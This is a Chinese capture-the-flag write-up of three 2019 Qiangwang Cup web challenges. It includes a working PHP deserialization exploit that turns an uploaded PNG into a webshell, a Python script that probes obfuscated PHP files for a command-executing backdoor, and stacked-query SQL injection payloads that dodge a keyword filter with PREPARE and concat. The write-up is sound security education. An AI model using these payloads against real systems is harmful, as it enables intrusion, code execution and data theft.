强网杯 web upload 0x01 信息搜集
网站功能:注册和登录,尝试注册一个账号,会出现一个上传页面,尝试上传
想到上传漏洞,疯狂fuzz,但是没卵用,于是老老实实上传了一个图片
这个页面似乎没有什么特别之处,当出现未存在页面会跳转回index.php/home.html
,这个时候普通扫描器存在弊端那就是他根据状态码来判断页面存在与否,所以我们可以利用dirsearch ,于是找到了一个www.tar.gz
,那就是源码泄露了
另一方面,观察cookie,似乎是base64,将其解码:1 a :5 :{s :2 :"ID" ;i :4 ;s :8 :"username" ;s :1 :"a" ;s :5 :"email" ;s :7 :"a@a.com" ;s :8 :"password" ;s :32 :"0cc175b9c0f1b6a831c399e269772661" ;s :3 :"img" ;s :79 :"../upload/8af43a2068b1f60b959c6b26a1b566d0/f47454d1d3644127f42070181a8b9afc.png" ;}
熟悉的味道–反序列化 ,尝试直接利用,错了,于是审计代码
定位到/web/controller/
,有四个页面:index
、login
、register
、profile
index.php
1 2 3 4 5 6 7 8 9 10 11 12 public function login_check () { $profile=cookie('user' ); if (!empty ($profile)){ $this ->profile=unserialize(base64_decode($profile)); $this ->profile_db=db('user' )->where("ID" ,intval($this ->profile['ID' ]))->find(); if (array_diff($this ->profile_db,$this ->profile)==null ){ return 1 ; }else { return 0 ; } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php namespace app \web \controller ;use think \Controller ;class Profile extends Controller { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __construct () { $this ->checker=new Index(); $this ->upload_menu=md5($_SERVER['REMOTE_ADDR' ]); @chdir("../public/upload" ); if (!is_dir($this ->upload_menu)){ @mkdir($this ->upload_menu); } @chdir($this ->upload_menu); } public function upload_img () { if ($this ->checker){ if (!$this ->checker->login_check()){ $curr_url="http://" .$_SERVER['HTTP_HOST' ].$_SERVER['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url,302 ); exit (); } } if (!empty ($_FILES)){ $this ->filename_tmp=$_FILES['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES['upload_file' ]['name' ]).".png" ; $this ->ext_check(); } if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this->upload_menu/$this->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); } } public function update_img () { $user_info=db('user' )->where("ID" ,$this ->checker->profile['ID' ])->find(); if (empty ($user_info['img' ]) && $this ->img){ if (db('user' )->where('ID' ,$user_info['ID' ])->data(["img" =>addslashes($this ->img)])->update()){ $this ->update_cookie(); $this ->success('Upload img successful!' , url('../home' )); }else { $this ->error('Upload file failed!' , url('../index' )); } } } public function update_cookie () { $this ->checker->profile['img' ]=$this ->img; cookie("user" ,base64_encode(serialize($this ->checker->profile)),3600 ); } public function ext_check () { $ext_arr=explode("." ,$this ->filename); $this ->ext=end($ext_arr); if ($this ->ext=="png" ){ return 1 ; }else { return 0 ; } } public function __get ($name) { return $this ->except[$name]; } public function __call ($name, $arguments) { if ($this ->{$name}){ $this ->{$this ->{$name}}($arguments); } } }
1 2 3 4 5 PHP所提供的重载(overloading)是指动态地创建类属性和方法。我们是通过魔术方法(magic methods )来实现的。 当调用当前环境下未定义或不可见的类属性或方法时,重载方法会被调用。本节后面将使用不可访问属性(inaccessible properties )和不可访问方法(inaccessible methods )来称呼这些未定义或不可见的类属性或方法。 所有的重载方法都必须被声明为 public
1 读取不可访问属性的值时,__get () 会被调用。
1 在对象中调用一个不可访问方法时,__call () 会被调用。
1 2 3 4 5 6 7 8 9 10 11 12 if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this->filename_tmp, $this->filename) ; @unlink($this->filename_tmp) ; $this ->img="../upload/$this ->upload_menu/$this ->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); }
上传一个shell,伪装为png,然后再重命名为php文件,那么就可以读取文件 我们可以直接通过_GET
请求绕过如下判断:
1 2 3 4 5 if (!empty ($_FILES)){ $this ->filename_tmp=$_FILES['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES['upload_file' ]['name' ]).".png" ; $this ->ext_check(); }
我们的目的是要触发uploa_image
方法,于是我们在register.php
中看到:
1 2 3 4 5 6 7 8 9 10 11 12 public function __construct () { $this ->checker=new Index(); } public function __destruct () { if (!$this ->registed){ $this ->checker->index(); } }
其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链
就有了如下exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php namespace app \web \controller ;use think \Controller ;class Register { public $checker; public $registed = false ; public function __construct ($checker) { $this ->checker = $checker; } } class Profile { public $filename_tmp = './upload/af536bff8dbcf3875d093da49ba4e4ca/434a1f0621da555e5703d2bac3e4f357.png' ; public $filename = './upload/af536bff8dbcf3875d093da49ba4e4ca/ct1.php' ; public $ext = true ; public $except = array ('index' => 'upload_img' ); } $register = new Register(new Profile()); echo urlencode(base64_encode(serialize($register)));
注:shell由蚁剑生成,一句话不好连接
高明的黑客
下载源码,发现全是混淆过的:
既然为shell,我们尝试寻找GET、post、assert、system
等可利用点,尝试fuzz
的方法,将其中的参数复制为echo "fuck"
,若成功则很可能为shell,利用多线程,提高效率:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import os,reimport requestsfrom multiprocessing import Poolfilenames = os.listdir('C:\\MySoftwares\\php_develop\\WWW\\src' ) pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]" ) def read_file (file) : for name in filenames: print(name) with open('C:\\MySoftwares\\php_develop\\WWW\\src\\' +name,'r' ) as f: data = f.read() result = list(set(pattern.findall(data))) for ret in result: try : command = 'echo "fuck"' flag = 'fuck' if 'GET' in ret: passwd = re.findall(r"'(.*)'" ,ret)[0 ] r = requests.get(url='http://web15.buuoj.cn/' + name + '?' + passwd + '=' + command) if flag in r.text: print('backdoor file is: ' + name) print('GET: ' + passwd) except : pass def main () : pool = Pool(processes=15 ) for i in range(0 ,len(filenames),int(len(filenames)/15 )): pool.apply_async(read_file,(i+int(len(filenames)/15 ),)) pool.close() pool.join() if __name__ == "__main__" : main()
跑了n年,最终找到了shell:
然后在根目录找到flag,直接cat /flag
babywebbb 参考飘零师傅的
随便注 注意到/?inject=1
,get方式传值
尝试1'
,报错
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’1’’’ at line 1
大致猜测到闭合方式,尝试闭合?inject=1"%23
,返回:1 2 3 4 5 6 array(2 ) { [0 ]=> string (1 ) "1" [1 ]=> string (7 ) "hahahah" }
尝试union select
返回:1 return preg_match("/select |update |delete |drop |insert |where |\./i",$inject);
尝试?inject=1%27||1%23
列出了所有内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 array(2 ) { [0 ]=> string (1 ) "1" [1 ]=> string (7 ) "hahahah" } array(2 ) { [0 ]=> string (1 ) "2" [1 ]=> string (12 ) "miaomiaomiao" } array(2 ) { [0 ]=> string (6 ) "114514" [1 ]=> string (2 ) "ys" }
可以多语句查询inject=0%27;show%20tables;%23
:
1 2 3 4 5 6 7 8 9 array(1 ) { [0 ]=> string (16 ) "1919810931114514" } array(1 ) { [0 ]=> string (5 ) "words" }
可以利用mysql预编译(prepare),prepare语法:1 2 3 4 MySQL prepare 语法: PREPARE statement_name FROM preparable_SQL_statement; EXECUTE statement_name [USING @var_name...]; {DEALLOCATE | DROP } PREPARE statement_name ;
PREPARE语句用于预备一个语句,并指定名称statement_name,以后引用该语句。语句名称对大小写不敏感。preparable_SQL_statement可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须表现为一个单一的SQL语句,而不是多个语句。在这语句里,‘?’字符可以被用于标识参数,当执行时,以指示数据值绑定到查询后。‘?’字符不应加引号,即使你想要把它们与字符串值结合在一起。参数标记只能用于数据值应该出现的地方,而不是SQL关键字,标识符,等等。 如果预语句已经存在,则在新的预语句被定义前,它会被隐含地删掉。
构造如下语句:1 2 3 4 set @sql =concat ('sel' ,'ect * from `1919810931114514`' );prepare presql from @sql ;execute presql;deallocate prepare presql;
提示:
strstr($inject, “set”) && strstr($inject, “prepare”)
strstr — 查找字符串的首次出现,区分大小写,所以改为大写
1 inject=1 %27;SET%20@sql=concat(%27sel%27,%27ect%20*%20from%20`1919810931114514` %27);%20PREPARE%20presql%20from%20@sql;%20execute%20presql;%20deallocate%20PREPARE%20presql;
reference:https://skysec.top/2019/05/25/2019-强网杯online-Web-Writeup/ https://xz.aliyun.com/t/5282